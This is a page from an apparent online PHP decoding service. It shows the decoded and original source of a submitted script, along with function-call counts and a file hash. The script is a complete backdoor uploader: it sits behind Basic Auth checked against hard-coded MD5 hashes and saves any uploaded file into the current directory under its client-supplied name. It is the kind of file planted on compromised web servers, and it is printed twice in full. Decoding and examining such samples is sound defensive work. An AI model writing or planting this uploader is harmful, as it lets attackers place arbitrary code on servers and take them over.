Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? ob_start(); ?> <?php $auth = 1; $name='cd51c3f884dde97519a071942ca1f1ab'; $..
Decoded Output download
<?
ob_start();
?>
<?php
$auth = 1;
$name='cd51c3f884dde97519a071942ca1f1ab';
$pass='bb294220d8570f6e2f22214aa3737877';
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="zero"');
header('HTTP/1.0 401 Unauthorized');
exit("<b></b>");
}
}
?>
<?php $cwd = getcwd();
Echo '<center>
<form method="post" target="_self" enctype="multipart/form-data">
<input type="file" size="20" name="uploads" />
<input type="submit" value="upload" />
</form>
</center></td></tr>
</table><br>';
if (!empty ($_FILES['uploads']))
{
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');
</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
exit;
?>
Did this file decode correctly?
Original Code
<?
ob_start();
?>
<?php
$auth = 1;
$name='cd51c3f884dde97519a071942ca1f1ab';
$pass='bb294220d8570f6e2f22214aa3737877';
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="zero"');
header('HTTP/1.0 401 Unauthorized');
exit("<b></b>");
}
}
?>
<?php $cwd = getcwd();
Echo '<center>
<form method="post" target="_self" enctype="multipart/form-data">
<input type="file" size="20" name="uploads" />
<input type="submit" value="upload" />
</form>
</center></td></tr>
</table><br>';
if (!empty ($_FILES['uploads']))
{
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');
</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
exit;
?>
Function Calls
md5 | 2 |
header | 1 |
ob_start | 1 |
Stats
MD5 | b7f53f1de63e37d35575d4a3084752bb |
Eval Count | 0 |
Decode Time | 109 ms |